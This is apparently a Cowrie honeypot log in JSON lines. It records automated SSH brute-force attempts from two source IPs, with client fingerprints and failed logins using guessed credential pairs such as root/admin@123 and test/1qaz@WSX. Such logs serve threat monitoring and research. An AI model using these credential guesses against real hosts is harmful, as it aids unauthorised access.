{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:01.984796Z","src_ip":"103.75.199.4","session":"ea77ed426579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:02.082027Z","src_ip":"103.75.199.4","session":"ea77ed426579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:02.364247Z","src_ip":"103.75.199.4","session":"ea77ed426579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:03.462594Z","src_ip":"103.75.199.4","session":"ea77ed426579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42408,"dst_ip":"159.203.135.109","dst_port":22,"session":"2556276db015","protocol":"ssh","message":"New connection: 103.75.199.4:42408 (159.203.135.109:22) [session: 2556276db015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:23.848449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:23.854357Z","src_ip":"103.75.199.4","session":"2556276db015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:23.945240Z","src_ip":"103.75.199.4","session":"2556276db015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:24.220501Z","src_ip":"103.75.199.4","session":"2556276db015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:25.315407Z","src_ip":"103.75.199.4","session":"2556276db015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50046,"dst_ip":"159.203.135.109","dst_port":22,"session":"09c4effed628","protocol":"ssh","message":"New connection: 103.75.199.4:50046 (159.203.135.109:22) [session: 09c4effed628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:45.727741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:45.733693Z","src_ip":"103.75.199.4","session":"09c4effed628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:45.830063Z","src_ip":"103.75.199.4","session":"09c4effed628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:46.119921Z","src_ip":"103.75.199.4","session":"09c4effed628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:10:47.283165Z","src_ip":"103.75.199.4","session":"09c4effed628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41968,"dst_ip":"159.203.135.109","dst_port":22,"session":"aca1d00c0497","protocol":"ssh","message":"New connection: 103.75.199.4:41968 (159.203.135.109:22) [session: aca1d00c0497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:07.608703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:07.613417Z","src_ip":"103.75.199.4","session":"aca1d00c0497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:07.709584Z","src_ip":"103.75.199.4","session":"aca1d00c0497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:07.997522Z","src_ip":"103.75.199.4","session":"aca1d00c0497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:09.097043Z","src_ip":"103.75.199.4","session":"aca1d00c0497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55776,"dst_ip":"159.203.135.109","dst_port":22,"session":"c39719a5b602","protocol":"ssh","message":"New connection: 103.75.199.4:55776 (159.203.135.109:22) [session: c39719a5b602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:29.459167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:29.463732Z","src_ip":"103.75.199.4","session":"c39719a5b602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:29.555905Z","src_ip":"103.75.199.4","session":"c39719a5b602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:29.833923Z","src_ip":"103.75.199.4","session":"c39719a5b602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:30.929606Z","src_ip":"103.75.199.4","session":"c39719a5b602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60314,"dst_ip":"159.203.135.109","dst_port":22,"session":"afcee5cdbf4b","protocol":"ssh","message":"New connection: 103.75.199.4:60314 (159.203.135.109:22) [session: afcee5cdbf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:51.322304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:51.327007Z","src_ip":"103.75.199.4","session":"afcee5cdbf4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:51.417976Z","src_ip":"103.75.199.4","session":"afcee5cdbf4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:51.689542Z","src_ip":"103.75.199.4","session":"afcee5cdbf4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:11:52.782950Z","src_ip":"103.75.199.4","session":"afcee5cdbf4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":48362,"dst_ip":"10.17.0.5","dst_port":22,"session":"206c801ef5c1","protocol":"ssh","message":"New connection: 80.94.92.182:48362 (10.17.0.5:22) [session: 206c801ef5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:11.429861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:12.353324Z","src_ip":"80.94.92.182","session":"206c801ef5c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:12.356878Z","src_ip":"80.94.92.182","session":"206c801ef5c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51556,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a2085f6e9ac","protocol":"ssh","message":"New connection: 103.75.199.4:51556 (159.203.135.109:22) [session: 8a2085f6e9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:13.209461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:13.214825Z","src_ip":"103.75.199.4","session":"8a2085f6e9ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:13.309836Z","src_ip":"103.75.199.4","session":"8a2085f6e9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:13.584336Z","src_ip":"103.75.199.4","session":"8a2085f6e9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qq2w3e4r5t","message":"login attempt [ubuntu/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:13.602626Z","src_ip":"80.94.92.182","session":"206c801ef5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:14.678254Z","src_ip":"103.75.199.4","session":"8a2085f6e9ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:14.708138Z","src_ip":"80.94.92.182","session":"206c801ef5c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39008,"dst_ip":"159.203.135.109","dst_port":22,"session":"332ff638066c","protocol":"ssh","message":"New connection: 103.75.199.4:39008 (159.203.135.109:22) [session: 332ff638066c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:35.117898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:12:35.122735Z","src_ip":"103.75.199.4","session":"332ff638066c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","